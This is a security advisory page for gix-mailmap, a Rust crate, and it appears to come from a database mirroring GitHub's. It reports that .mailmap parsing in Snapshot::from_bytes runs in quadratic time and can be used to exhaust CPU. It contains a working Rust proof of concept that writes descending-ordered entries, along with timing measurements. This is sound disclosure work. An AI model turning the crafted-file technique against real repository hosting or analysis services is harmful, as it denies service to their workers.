All vulnerabilities
GHSA-pmpw-wwcm-r8rc

gix-mailmap: Quadratic .mailmap parsing in Snapshot::from_bytes allows a CPU denial of service

gix-mailmap
CVSS
n/aMedium
ExploitationNo known exploitationNot in CISA KEV, which does not prove it is unexploitedCISA KEV
Exploit odds (EPSS)No scoreNo FIRST EPSS score in this snapshot yet
Fixed inNone listedNo source names a fixed version yet
Published25 Sep 2026Updated 25 Sep 2026GitHub

What fixes it

No source in this snapshot names a fixed version.

Description

Summary

Building a Snapshot from a .mailmap file is quadratic in the number of entries. Snapshot::from_bytes parses each line and inserts it into a Vec that is kept sorted, using binary_search_by to find the position and then Vec::insert to place it. The search is fast but the insert shifts every following element, so a file whose keys are ordered to always land at the front costs O(n²) element moves overall.

A .mailmap lives at the root of a repository and its contents are set by whoever authored the repo. Any tool that resolves author identities through gitoxide (log, blame, shortlog) loads it, so a crafted file turns a normal operation on an untrusted repository into a long CPU burn on a single core.

Proof of concept

// Cargo.toml:  gix-mailmap = "=0.34.1"
use std::time::Instant;

fn main() {
    let n = 100_000;
    // One mapping per line, counting down so each new email sorts
    // before every entry already stored, forcing an insert at index 0.
    let mut mailmap = String::new();
    for i in (0..n).rev() {
        mailmap.push_str(&format!("Name <e{i:09}@x>\n"));
    }
    let start = Instant::now();
    let snapshot = gix_mailmap::Snapshot::from_bytes(mailmap.as_bytes());
    println!("{} entries in {:?}", snapshot.iter().count(), start.elapsed());
}

Measured on release builds against the published crate:

n =  20000  (0.4 MB)   1.1 s
n =  50000  (1.0 MB)   7.1 s
n = 100000  (2.0 MB)  30.0 s

The same entries in ascending order (each appended at the end, no shift) parse in 0.12 s at n = 100000, which isolates the cost to the insert rather than the parse. Doubling n quadruples the time.

Impact

One crafted .mailmap of a few megabytes pins a core for tens of seconds; because the cost is quadratic, ~10 MB reaches the order of ten minutes. The memory stays linear, so this is CPU only. It matters most where gitoxide processes repositories it did not author, for example a hosting or analysis service that runs blame or shortlog on user-supplied repos, where one repository blocks a worker. For an interactive CLI the effect is a recoverable hang.

git's own C mailmap loader collects the entries and sorts once, so this scaling is specific to gitoxide.

Text from GitHub Advisory Database

Affected versions 1

  • gix-mailmap, rust<= 0.34.1GitHub